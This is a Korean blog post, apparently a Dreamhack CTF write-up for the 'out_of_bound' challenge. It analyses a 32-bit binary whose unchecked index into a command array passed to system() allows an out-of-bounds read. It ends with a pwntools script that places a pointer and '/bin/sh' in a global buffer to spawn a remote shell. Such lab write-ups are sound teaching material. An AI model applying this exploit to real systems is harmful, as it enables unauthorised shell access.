미역줄기의 이모저모

[ Dreamhack ] out_of_bound 본문

Hacking/Dremahack 문제풀이

[ Dreamhack ] out_of_bound

미역줄기줄기 2024. 2. 20. 17:35
728x90

oob 문제이다

 

 

 

보호 기법

 

i386 아키텍쳐 , 32비트 -> canary는 4바이트

canary 있다 -> SFP, RET 마음대로 변경 불가

NX enabled 적용 -> 셸코드불가, rop 이용

No PIE ->  바이너리가 실행되는 메모리 주소가 랜덤화하지 않다. 데이터 영역의 변수들은 항상 정해진 주소에 할당된다.

 

 


코드 분석

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}

name 전역 변수에 16바이트까지 넣을 수 있다. 

"ls", "id", "ps", "file ./oob"의 4개의 명령어를 system 함수를 통해 셸에서 실행시킨 결과를 얻을 수 있다.

 

flag를 읽기 위해선 Out of Bounds 의 취약점을 사용해야 한다. command[idx]에 "/bin/sh\x00" 이 들어가게 해야겠다.

 

 

취약점

command[idx]의 값이 "ls", "id", "ps", "file ./oob"의 4개 중 하나로 정해지려면 idx에는 0~3의 값이 들어가야 한다.

하지만 idx의 범위를 검사하는 코드가 없다. 즉 idx의 범위를 체크하지 않는다. 그래서 음수 값을 집어넣어 command 주소 보다 더 앞의 주소를 가져오거나, 3보다 큰 값을 집어넣어 "file ./oob"가 저장된 주소보다 뒤의 주소를 가져올 수 있다.

 

 

commandname의 주소 확인

command와 name 전역 변수는 PIE가 꺼져 있기 때문에, 일정한 주소에 위치한다. 각각의 주소를 확인해보면

 

command는 0x804a060, name은 0x804a0ac로, 76바이트만큼 차이난다. 

 

command는 char * 형으로 정의되어 있다. x86, 즉 32비트 환경에서 실행되는 바이너리이기 때문에 각 주소는 32비트, 또는 4바이트로 표현된다.

 

*command = command[0] = 0x804a060의 주소에 저장되어 있는 값을 가지고, command[1]은 0x804a060 + 4 = 0x804a064의 주소에 저장되어 있는 값을 가진다.

 

따라서 command[19] = 0x804a060 + 76이 되어 name의 주소에 저장되어 있는 값을 가리킨다. 

 

 

system 함수에 인자 전달

그럼 name에 '"/bin/sh\x00"이 저장되어 있는 상황에서 idx = 19를 입력해 command[19]가 name을 가리키는 상황을 생각해보자. 우선 system 함수 호출 직전에 bp를 절어준다. 

그리고 run~

 

 

system 함수에 인자로 EAX 레지스터의 값인 "/bin"이 들어갔다. "/bin/sh" 로 들어가지 않은 이유는 system 함수가 공유 라이브러리 함수인자로 들어오는 변수 주소 4바이트 + 변수 값이 메모리로 들어가기 때문이다.

 

따라서 name + 4의 주소와 "/bin/sh"를 입력으로 넣으면 된다.

 


Payload 작성

 

from pwn import*

p = remote("host3.dreamhack.games", 23663)

payload = p32(0x804a0ac + 4) + "/bin/sh" #naem 주소 + 4byte

p.sendline(payload)
p.sendline(b"19")

p.interactive()

 

 

 

 

 

새로 알게된 점

system 함수가 공유 라이브러리 함수라 인자로 들어오는 변수 주소 4바이트 + 변수 값이 메모리로 들어간다.

'Hacking > Dremahack 문제풀이' 카테고리의 다른 글

[ Dreamhack ] Format String Bug  (0) 2024.03.01
[ Dreamhack ] ssp_000  (1) 2024.02.24
[ Dreamhack ] fho  (0) 2024.02.17
[ Dreamhack ] basic_rop_x86  (0) 2024.02.16
[ Dreamhack ] basic_rop_x64  (0) 2024.02.16